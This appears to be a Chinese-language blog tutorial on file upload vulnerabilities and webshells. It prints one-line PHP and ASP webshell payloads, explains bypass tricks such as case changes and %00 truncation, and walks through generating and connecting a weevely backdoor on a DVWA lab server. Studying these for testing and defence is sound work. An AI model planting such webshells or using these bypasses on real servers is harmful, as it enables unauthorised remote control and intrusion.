文件上传漏洞

本来文件上传是一个正常的需求功能,但是如果没有对用户上传的文件进行恰当的检测,攻击者就上传一些奇奇怪怪的东西到网站上面,比如木马、脚本啥的,就可以对着你的服务器说:拿来把你。
文件上传本身是一个严重的漏洞,webshell将这个漏洞无限放大,来说说webshell:

webshell

webshell是以ASP/PHP/JSP或者CGI等网页文件形式存在的一种命令执行环境,也称为:后门
黑客会把后门文件放在WEB服务器根目录下跟别的文件混在一起,之后可以利用自己的浏览器进行连接,访问这些后门,常见工具:蚁剑 。在之前弹webshell实验的时候用过netcat就可以往有文件上传漏洞的网站传,再通过其他方式远程执行命令,让攻击者可以获得目标主机的shell。

webshell特点:隐蔽性高,较为轻松穿过防火墙,并且访问webshell的时候不会留下系统日志,只会在网站的web日志中留下数据提交的记录。注意到,很多时候为了混淆,黑客会修改文件的时间

另外,黑客为了通过检测,通常先传小马再上大马,下面聊一聊常见🐎

最经典的🐎: <?php eval($_POST[a]); ?> // eval()把里面的字符当php代码执行

<?php eval($_POST[‘pass’]); ?>

<% execute(request(“pass”)) %>

<?php assert($_POST[‘pass’]); ?>

文件上传漏洞会出现在:
带有上传功能的地方,比如头像上传、图片上传、文档上传等,只要通过各种方式修改文件后缀以及文件类型,就可以绕过限制条件。
一般传的后缀:PHP/ASP/JSP

文件上传一般被这么用:
1.传木马、病毒的时候用来骗用户或者管理员点点点
2.传webshell,用工具连接
3.传恶意脚本,黑客直接用
4.传恶意图片,有图片马,点击图片就中了
5.上传的文件是伪装成正常后缀的恶意脚本文件,黑客利用其他漏洞比如本地文件包含漏洞执行这些恶意文件。比如,一个恶意文件bad.php文件名改成了bad.doc之后被上传到服务器,此时PHP的包含函数就能利用他们了,(include、include_once、require、require_once)

那到底是啥原因整出这些玩意儿啊?
1.文件上传时检查不严
仅在客户端检查会被抓包工具截取数据包之后改包;有些有黑名单检查,但检查的时候忽视大小写,改一个字母就饶过了;有些有白名单检查,但是忘记了别人会用%00这种截断手段。
【截断在别的文章我也讲到过,在代码审计的文章那】
截断:上传 xxx.php%00.jpg %00会被url解码变成\000是一个终止符。也就是说检查的时候看起来是jgp,传到服务器就时php了。

2.文件上传后修改文件名时处理不当

3.使用第三方插件时引入

下面举一个用工具连接上传木马的小例子

kali 自带的 工具 weevely 来连接木马

1.启动weevely

2.使用命令创建后门木马:
weevely generate pass shell.php

3.利用文件上传漏洞把生成的php文件上传

4.上传成功后,页面会回显用户上传文件的路径(?我不明白为什么会回显,是本来就会回显还是代码让页面回显)

5.根据回显路径,使用命令进行连接
weevely http://192.168.xx.xx/dvwa/hackable/uploads/shell.php pass即可连接后门,相当于使用ssh登录了目标服务器

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注